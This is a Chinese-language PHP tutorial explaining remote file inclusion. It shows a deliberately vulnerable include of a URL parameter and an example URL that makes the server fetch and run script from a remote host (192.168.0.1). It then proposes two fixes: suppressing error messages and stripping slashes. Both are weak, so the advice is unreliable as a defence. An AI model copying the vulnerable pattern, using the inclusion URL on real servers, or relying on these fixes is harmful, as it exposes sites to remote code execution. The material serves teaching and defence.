PHP 网络开发详解之远程文件包含漏洞


Posted in PHP onApril 25, 2010

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。

<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
include("$file_name "); //包含文件 
//一些其他操作 
?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
<?php 
echo "hello world!"; 
?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
<?php 
$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
PHP 相关文章推荐
php项目打包方法
Feb 18 PHP
很让人受教的 提高php代码质量36计
Sep 05 PHP
PHP获取网址的顶级域名函数代码
Sep 24 PHP
PHP中把stdClass Object转array的几个方法
May 08 PHP
PHP中的多行字符串传递给JavaScript的两种方法
Jun 19 PHP
PHP定时执行任务实现方法详解(Timer)
Jul 30 PHP
PHP使用Mysqli类库实现完美分页效果的方法
Apr 07 PHP
PHP简单留言本功能实现代码
Jun 09 PHP
PHP空值检测函数与方法汇总
Nov 19 PHP
PHP排序算法之简单选择排序(Simple Selection Sort)实例分析
Apr 20 PHP
PHP给前端返回一个JSON对象的实例讲解
May 31 PHP
thinkPHP框架实现的短信接口验证码功能示例
Jun 20 PHP
php快速url重写更新版[需php 5.30以上]
Apr 25 #PHP
PHP CURL模拟GET及POST函数代码
Apr 25 #PHP
php file_get_contents函数轻松采集html数据
Apr 22 #PHP
国外比较好的几个的Php开源建站平台小结
Apr 22 #PHP
PHP最常用的ini函数分析 针对PHP.ini配置文件
Apr 22 #PHP
php allow_url_include的应用和解释
Apr 22 #PHP
php strcmp使用说明
Apr 22 #PHP
You might like
PHP无刷新上传文件实现代码
2011/09/19 PHP
php5.5新数组函数array_column使用
2013/07/08 PHP
PHP中file_exists使用中遇到的问题小结
2016/04/05 PHP
PHP 范围解析操作符(::)用法分析【访问静态成员和类常量】
2020/04/14 PHP
jquery 获取表单元素里面的值示例代码
2013/07/28 Javascript
JQuery操作iframe父页面与子页面的元素与方法(实例讲解)
2013/11/20 Javascript
Event altKey,ctrlKey,shiftKey属性解析
2013/12/18 Javascript
jQuery学习笔记之创建DOM元素
2015/01/19 Javascript
jQuery中 attr() 方法使用小结
2015/05/03 Javascript
BootStrap的select2既可以查询又可以输入的实现代码
2017/02/17 Javascript
ES6新特性之数组、Math和扩展操作符用法示例
2017/04/01 Javascript
基于node.js制作简单爬虫教程
2017/06/29 Javascript
vue的基本用法与常见指令
2017/08/15 Javascript
JavaScript使用递归和循环实现阶乘的实例代码
2018/08/28 Javascript
js获取对象,数组所有属性键值(key)和对应值(value)的方法示例
2019/06/19 Javascript
vue 使用axios 数据请求第三方插件的使用教程详解
2019/07/05 Javascript
vue页面加载时的进度条功能(实例代码)
2020/01/13 Javascript
nodejs实现的http、https 请求封装操作示例
2020/02/06 NodeJs
[51:26]VP vs VG 2018国际邀请赛小组赛BO2 第二场 8.19
2018/08/21 DOTA
[00:19]CN DOTA NEVER DIE!VG夺冠rOtK接受采访
2019/12/23 DOTA
Pandas 同元素多列去重的实例
2018/07/03 Python
Python3利用Dlib实现摄像头实时人脸检测和平铺显示示例
2019/02/21 Python
python占位符输入方式实例
2019/05/27 Python
Python小白学习爬虫常用请求报头
2020/06/03 Python
Johnston & Murphy官网: 约翰斯顿·墨菲牛津总统鞋
2018/01/09 全球购物
BISSELL官网:北美吸尘器第一品牌
2019/03/14 全球购物
澳大利亚家居用品零售商:Harris Scarfe
2020/10/10 全球购物
文言文形式的学生求职信
2013/12/03 职场文书
小学岗位竞聘方案
2014/01/22 职场文书
个人党性剖析材料
2014/02/03 职场文书
安全生产承诺书
2014/03/26 职场文书
个人欠款担保书
2014/05/20 职场文书
统计专业自荐书
2014/07/06 职场文书
2015年前台个人工作总结
2015/04/03 职场文书
用javascript制作qq注册动态页面
2021/04/14 Javascript
JavaScript文档对象模型DOM
2021/11/20 Javascript